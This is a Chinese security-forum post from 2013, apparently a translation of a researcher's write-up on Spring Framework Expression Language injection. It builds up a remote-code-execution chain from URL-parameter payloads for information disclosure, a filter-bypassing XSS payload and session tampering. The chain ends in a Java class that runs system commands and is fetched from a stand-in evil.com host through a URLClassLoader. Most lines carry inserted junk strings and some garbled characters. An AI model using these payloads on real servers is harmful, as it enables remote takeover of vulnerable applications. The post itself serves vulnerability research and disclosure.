找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2543|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with  r7 ~- M4 R6 X2 H6 j! W2 C
Expression Language Injection
' Y, _- W4 N' f) J4 b  i. ^# USpring Framework脆弱性—DanAmodio
2 c% q" ^, E7 U9 J# C! ]全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
$ J' N7 O# [" a; h$ ~1 `, t可能会存在风险。
4 N! s! x* F6 h+ z) f' o' Y在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
: _& w" q# o- w4 [8 Z, {Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
3 `' b( `' W# e- Z( o以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,4 ?" a& W/ O' s! x$ Y
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
. G$ q. D* _% V" R* |+ @8 ?版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
9 W  p9 d* i6 m% ~3 b由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但: B# V* `% }6 [- O  ~
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版9 P0 }  V& C  X; @
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
8 [+ ?3 z$ p! I0 }这些版本不支持禁用double EL resolution.
4 z/ x: |; j1 Y3 B" t5 \5 _这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含: c% r" _% O" @: {% J* \
EL2.2容器上可能进行远程代码执行。0 _5 t+ Y! s; {/ p6 e2 ]
这是一个原始信息泄露的攻击例子:, m4 f- J) W/ o
请求:0 j6 F7 Z9 l4 w
ttp://vulnerable.com/foo?message=${applicationScope}5 Z2 r; ^9 q9 A0 ~
到达以下内容页面:- O9 R3 [+ a8 t* {! S  t. N
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
, L: X) R8 }9 `你也可以做一些其他事情,如这样:+ @+ @- I: t% T) v2 `1 E
${9999+1}
. L8 W: C: [# K, k( z还可以访问session 对象和beans
. c' N+ L: k) \* x. o& {${employee.lastName}4 j% P. G$ g3 N% T
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
- Z# S: d: W4 e1 z9 u7 E9 x, tEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
: j4 t) h2 r; X2 @& H西,比如XSS.
, v2 c/ u% M0 x, W" X* ~( j0 V" f哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签6 \7 H6 v$ g0 {5 W1 z: z
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤3 P, M7 u( K1 _0 M
呢?”# R7 u$ W0 A7 q$ b! k0 f
因此,我尝试巳缦拢�
3 e! O9 a0 a- v. P5 y3 ohttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP8 p; {* _- l2 z& l" F
P
/ p7 t$ B1 y6 n/ N7 c8 N" b我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返$ ~4 j. p* r) v% {' E4 c* \# J5 z
回的文本被插入进了spring:message 标签。
) C+ X) c" G9 [这里是一个最终绕过过滤的实例:& i3 }; O7 L( g& A4 ]
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
" O& p" U3 |* ^# x它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
; {! q& k) M) X! L7 _- g什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
$ I: m/ k, g! `8 l3 u; f经过一番研究,我学习到EL2.2 增加了方法调用。
) a6 A/ E' n9 \6 x. b2 \) O我写了一个快速测试应用程序代码并且检测一些功能
6 c0 U8 _$ z5 U& Z0 u${pageContext.request.getSession().setAttribute(“account”,”123456″)}
0 ^( Y8 Z8 ^$ m8 D- w${pageContext.request.getSession().setAttribute(“admin”,true)}5 F* g9 A+ \% \
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
& P5 e& p* [( o% l& }指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
, |! R0 F% h; S/ a${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1& |% _( O5 F6 Y' R3 ^  a
“, 1234)}
: P* n, ^- i1 A2 K) k5 J- o" r$ F; z${“”.getClass().forName(“java.lang.Runtime”)}
! U( X  Q& {: |4 R$ B6 F4 o; ]哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不1 K: c1 j, w, n* e' c8 \
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
) k' v' k+ k/ t& m4 i数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
1 ]& ], U$ O' y2 o5 ]/ E/ K! {, z一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
1 x2 G, ~" j* i" e1 P- B# F方法签名invoke(Object obj, Object„ args)
; y1 c5 R1 B$ e- kJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问/ J* F/ W" M/ t! R
题,以让它可以工作起来。
' u' F$ T9 Z" Q+ q  L- k漏洞利用:) s, [0 G6 U7 w! p0 w6 s- u1 _
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
+ L# N, L7 ?, z. G. l: U希望你们中的一些JAVA奇才告诉我我是如此的可笑。
" z/ o* R; c; N8 K: M' @. W这里有一些我试过的失败的用例,为了试图让它工作的用例:9 m+ k/ L* Z) ?/ Q$ G5 x1 l
 写文件到文件系统/ P5 M# A1 M8 |5 f
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
, W5 k5 t- R( e4 r0 {9 w我认为这些可以很好的工作,但是我不能找到合适的类来载入。" |& W- K- w  F# w0 V
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
5 Y  r3 [8 P( Y" G1 n% o% ejavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
4 x9 j9 ~# F8 d0 horg.springframework.expression.spel.standard.SpelExpressionParser not found
3 L; w7 x: D/ i0 m' j' pby
/ \& h. z* a# {org.glassfish.web.javax.servlet.jsp [194].
7 X. S% c2 l6 q 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public' D. r$ Q9 @% z' P7 Q' g
 利用反射来创建一个新的Runtime(and watch the world burn)
( w% L% }& Q% U5 [# ]" m${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName0 q# V  M3 V/ W2 B' ?( l5 z. v$ j0 H
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}! _- K% \. V7 v% b' S( l
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}' ^6 Z5 e  K$ v8 k9 K7 I% Q
 使用java.lang.ProcessBuilder4 d2 `- @; ^& H& m5 Z- x( S
 用表达式语言来评估表达式语言1 @+ V! z) ?! [! Y# O2 M
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
9 @5 l3 y1 e. W0 |, |${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request9 P) I: @% k: D$ y5 ?3 }0 a6 M
“,”".getClass(),null)}/ V7 h% p! L7 A8 }. O& @
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂), |/ {2 @. i# H0 l9 V/ o4 j
我在使用一个空数组通过Method.invoke()时失败了很多次
2 P$ K) A- Y0 U6 h3 S% v“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo: V8 ?; H' u  r' R/ r& A' U% i/ |
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
- }, P' h* h) r: }7 K! GrrayList”).newInstance().toArray())
. P, d! \+ E6 b. F* Qjava.lang.IllegalArgumentException: wrong number of arguments! \1 D( ?4 j6 L! o
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
: i  G! \7 y4 i) X8 Z4 U* e以创建一个恶意class文件并且指向类装载器.2 F. O4 e4 w' Y7 T
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:$ W. v. W8 Q3 e9 p- G  ^2 o/ H
public class Malicious {
3 ~( Z0 ~8 u; W, e4 X. B( I5 Y  [5 wpublic Malicious() {
% A) H9 s' G0 E9 \7 s& D7 atry {' C  L: _' O- J+ y! y& B
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
" V9 e( n9 o( F) bjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
6 [6 G, D; T6 C0 Z3 b} catch (Exception e) {4 o, B( @  P( l/ @& A3 E
}/ ^, U& C6 @8 @
}
1 O6 `1 J  h8 R* R5 _我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回: O+ L6 b0 K8 N) B9 P
话中,因此它可以被使用.
- o. `, y; O" Y" ^5 M" |${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
' o. E; p! v: [8 e7 e(“java.util.ArrayList”).newInstance())}
, ~  I1 T. J' B3 P  t  N' B* AURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建- h/ ^' q1 F9 C
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和7 n* C3 s5 j" O
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
$ b5 b( A- e5 p" ^9 D/ x, M6 k我们可以调用的create(string)方法,然后转换对一个URL对象。6 A- z/ L$ |% [
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh) x) l# o& I/ J# v
ere/malicious/classfile/is/located/”).toURL())}
8 l) Q, z$ V3 t% X然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
$ y* b8 g. E  Y9 ^/ e恶意类文件被装载并创建,触发远程代码.5 H3 h# P$ t& a8 A, ?4 O) u
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
9 H! \2 d4 _: N7 p' Mxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().; s" ~3 F: k0 c5 m  l7 \7 v, _$ g
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
6 V3 k; s) [0 m) ~4 ]()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表